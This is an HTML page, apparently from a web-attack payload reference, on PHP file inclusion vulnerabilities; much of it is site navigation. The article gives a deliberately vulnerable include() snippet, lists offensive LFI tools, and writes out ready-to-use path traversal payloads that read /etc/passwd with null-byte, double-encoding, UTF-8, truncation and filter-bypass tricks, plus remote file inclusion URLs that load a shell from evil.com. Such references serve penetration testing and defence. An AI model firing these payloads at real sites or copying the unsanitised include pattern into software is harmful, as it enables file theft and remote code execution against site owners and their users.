|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XXE Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_57">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XXE Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XXE%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XML External Entity
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
LEARNING AND SOCIALS
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_58">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
LEARNING AND SOCIALS
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Books
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Twitter
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Youtube
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
template vuln
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_59">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
template vuln
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../_template_vuln/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Vulnerability Title
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
|
|
|
|
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
|
|
<div class="md-sidebar__scrollwrap">
|
|
<div class="md-sidebar__inner">
|
|
|
|
|
|
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<label class="md-nav__title" for="__toc">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Table of contents
|
|
</label>
|
|
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#summary" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Summary
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#tools" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Tools
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#local-file-inclusion" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Local File Inclusion
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Local File Inclusion">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#null-byte" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Null byte
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#double-encoding" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Double encoding
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#utf-8-encoding" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
UTF-8 encoding
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#path-and-dot-truncation" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Path and dot truncation
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#filter-bypass-tricks" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Filter bypass tricks
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#remote-file-inclusion" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Remote File Inclusion
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Remote File Inclusion">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#null-byte_1" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Null byte
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#double-encoding_1" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Double encoding
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-allow_url_include" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass allow_url_include
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-rfi-using-wrappers" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI / RFI using wrappers
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="LFI / RFI using wrappers">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-phpfilter" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper php://filter
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-data" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper data://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-expect" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper expect://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-input" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper input://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-zip" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper zip://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-phar" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper phar://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-converticonv-and-dechunk" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper convert.iconv:// and dechunk://
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Wrapper convert.iconv:// and dechunk://">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#leak-file-content-from-error-based-oracle" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Leak file content from error-based oracle
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#leak-file-content-inside-a-custom-format-output" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Leak file content inside a custom format output
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-procfd" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via /proc/*/fd
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-procselfenviron" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via /proc/self/environ
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-upload" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via upload
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-upload-race" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via upload (race)
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-upload-findfirstfile" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via upload (FindFirstFile)
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-phpinfo" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via phpinfo()
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-controlled-log-file" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via controlled log file
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="LFI to RCE via controlled log file">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#rce-via-ssh" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
RCE via SSH
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#rce-via-mail" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
RCE via Mail
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#rce-via-apache-logs" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
RCE via Apache logs
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-php-sessions" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via PHP sessions
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-php-pearcmd" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via PHP PEARCMD
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-credentials-files" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via credentials files
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="LFI to RCE via credentials files">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#windows-version" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Windows version
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#linux-version" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Linux version
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#references" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
References
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
|
|
</nav>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
|
|
|
|
<div class="md-content" data-md-component="content">
|
|
<article class="md-content__inner md-typeset">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h1 id="file-inclusion">File Inclusion</h1>
|
|
<blockquote>
|
|
<p>A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.</p>
|
|
</blockquote>
|
|
<p><strong>File Inclusion Vulnerability</strong> should be differenciated from <strong>Path Traversal</strong>. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.</p>
|
|
<h2 id="summary">Summary</h2>
|
|
<ul>
|
|
<li><a href="#file-inclusion">File Inclusion</a></li>
|
|
<li><a href="#summary">Summary</a></li>
|
|
<li><a href="#tools">Tools</a></li>
|
|
<li><a href="#local-file-inclusion">Local File Inclusion</a><ul>
|
|
<li><a href="#null-byte">Null byte</a></li>
|
|
<li><a href="#double-encoding">Double encoding</a></li>
|
|
<li><a href="#utf-8-encoding">UTF-8 encoding</a></li>
|
|
<li><a href="#path-and-dot-truncation">Path and dot truncation</a></li>
|
|
<li><a href="#filter-bypass-tricks">Filter bypass tricks</a></li>
|
|
</ul>
|
|
</li>
|
|
<li><a href="#remote-file-inclusion">Remote File Inclusion</a><ul>
|
|
<li><a href="#null-byte-1">Null byte</a></li>
|
|
<li><a href="#double-encoding-1">Double encoding</a></li>
|
|
<li><a href="#bypass-allow_url_include">Bypass allow_url_include</a></li>
|
|
</ul>
|
|
</li>
|
|
<li><a href="#lfi--rfi-using-wrappers">LFI / RFI using wrappers</a><ul>
|
|
<li><a href="#wrapper-phpfilter">Wrapper php://filter</a></li>
|
|
<li><a href="#wrapper-data">Wrapper data://</a></li>
|
|
<li><a href="#wrapper-expect">Wrapper expect://</a></li>
|
|
<li><a href="#wrapper-input">Wrapper input://</a></li>
|
|
<li><a href="#wrapper-zip">Wrapper zip://</a></li>
|
|
<li><a href="#wrapper-phar">Wrapper phar://</a></li>
|
|
<li><a href="#wrapper-converticonv-and-dechunk">Wrapper convert.iconv:// and dechunk://</a></li>
|
|
</ul>
|
|
</li>
|
|
<li><a href="#lfi-to-rce-via-procfd">LFI to RCE via /proc/*/fd</a></li>
|
|
<li><a href="#lfi-to-rce-via-procselfenviron">LFI to RCE via /proc/self/environ</a></li>
|
|
<li><a href="#lfi-to-rce-via-upload">LFI to RCE via upload</a></li>
|
|
<li><a href="#lfi-to-rce-via-upload-race">LFI to RCE via upload (race)</a></li>
|
|
<li><a href="#lfi-to-rce-via-upload-findfirstfile">LFI to RCE via upload (FindFirstFile)</a></li>
|
|
<li><a href="#lfi-to-rce-via-phpinfo">LFI to RCE via phpinfo()</a></li>
|
|
<li><a href="#lfi-to-rce-via-controlled-log-file">LFI to RCE via controlled log file</a><ul>
|
|
<li><a href="#rce-via-ssh">RCE via SSH</a></li>
|
|
<li><a href="#rce-via-mail">RCE via Mail</a></li>
|
|
<li><a href="#rce-via-apache-logs">RCE via Apache logs</a></li>
|
|
</ul>
|
|
</li>
|
|
<li><a href="#lfi-to-rce-via-php-sessions">LFI to RCE via PHP sessions</a></li>
|
|
<li><a href="#lfi-to-rce-via-php-pearcmd">LFI to RCE via PHP PEARCMD</a></li>
|
|
<li><a href="#lfi-to-rce-via-credentials-files">LFI to RCE via credentials files</a></li>
|
|
<li><a href="#references">References</a></li>
|
|
</ul>
|
|
<h2 id="tools">Tools</h2>
|
|
<ul>
|
|
<li><a href="https://github.com/P0cL4bs/Kadimus">Kadimus - https://github.com/P0cL4bs/Kadimus</a></li>
|
|
<li><a href="https://github.com/D35m0nd142/LFISuite">LFISuite - https://github.com/D35m0nd142/LFISuite</a></li>
|
|
<li><a href="https://github.com/kurobeats/fimap">fimap - https://github.com/kurobeats/fimap</a></li>
|
|
<li><a href="https://github.com/lightos/Panoptic">panoptic - https://github.com/lightos/Panoptic</a></li>
|
|
</ul>
|
|
<h2 id="local-file-inclusion">Local File Inclusion</h2>
|
|
<p>Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the <code>page</code> parameter to include local or remote files, leading to unauthorized access or code execution.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="cp"><?php</span>
|
|
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="nv">$file</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'page'</span><span class="p">];</span>
|
|
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="k">include</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span>
|
|
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="cp">?></span>
|
|
</code></pre></div>
|
|
<p>In the following examples we include the <code>/etc/passwd</code> file, check the <code>Directory & Path Traversal</code> chapter for more interesting files.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
</code></pre></div>
|
|
<h3 id="null-byte">Null byte</h3>
|
|
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.0.3/assets/svg/26a0.svg" title=":warning:" /> In versions of PHP below 5.3.4 we can terminate with null byte.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span><span class="k">%</span><span class="n">00</span>
|
|
</code></pre></div>
|
|
<h3 id="double-encoding">Double encoding</h3>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="k">%</span><span class="n">252e</span><span class="k">%</span><span class="n">252e</span><span class="k">%</span><span class="n">252fetc</span><span class="k">%</span><span class="n">252fpasswd</span>
|
|
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="k">%</span><span class="n">252e</span><span class="k">%</span><span class="n">252e</span><span class="k">%</span><span class="n">252fetc</span><span class="k">%</span><span class="n">252fpasswd</span><span class="k">%</span><span class="n">00</span>
|
|
</code></pre></div>
|
|
<h3 id="utf-8-encoding">UTF-8 encoding</h3>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="p">/</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="p">/</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="p">/</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="p">/</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="k">%</span><span class="n">c0</span><span class="k">%</span><span class="n">ae</span><span class="p">/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span><span class="k">%</span><span class="n">00</span>
|
|
</code></pre></div>
|
|
<h3 id="path-and-dot-truncation">Path and dot truncation</h3>
|
|
<p>On most PHP installations a filename longer than <code>4096</code> bytes will be cut off so any excess chars will be thrown away.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span><span class="p">............</span><span class="no">[ADD MORE]</span>
|
|
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span><span class="p">\.\.\.\.\.\.</span><span class="no">[ADD MORE]</span>
|
|
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span><span class="p">/./././././.</span><span class="no">[ADD MORE]</span>
|
|
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../</span><span class="no">[ADD MORE]</span><span class="p">../../../../</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
</code></pre></div>
|
|
<h3 id="filter-bypass-tricks">Filter bypass tricks</h3>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=....//....//</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=..///////..////..//////</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="k">%</span><span class="n">5C</span><span class="p">../</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
</code></pre></div>
|
|
<h2 id="remote-file-inclusion">Remote File Inclusion</h2>
|
|
<blockquote>
|
|
<p>Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.</p>
|
|
</blockquote>
|
|
<p>Remote File Inclusion doesn't work anymore on a default configuration since <code>allow_url_include</code> is now disabled since PHP5.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="na">allow_url_include</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">On</span>
|
|
</code></pre></div>
|
|
<p>Most of the filter bypasses from LFI section can be reused for RFI.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">http</span><span class="p">://</span><span class="n">evil</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">shell</span><span class="p">.</span><span class="n">txt</span>
|
|
</code></pre></div>
|
|
<h3 id="null-byte_1">Null byte</h3>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">http</span><span class="p">://</span><span class="n">evil</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">shell</span><span class="p">.</span><span class="n">txt</span><span class="k">%</span><span class="n">00</span>
|
|
</code></pre></div>
|
|
<h3 id="double-encoding_1">Double encoding</h3>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">http</span><span class="p">:</span><span class="k">%</span><span class="n">252f</span><span class="k">%</span><span class="n">252fevil</span><span class="p">.</span><span class="n">com</span><span class="k">%</span><span class="n">252fshell</span><span class="p">.</span><span class="n">txt</span>
|
|
</code></pre></div>
|
|
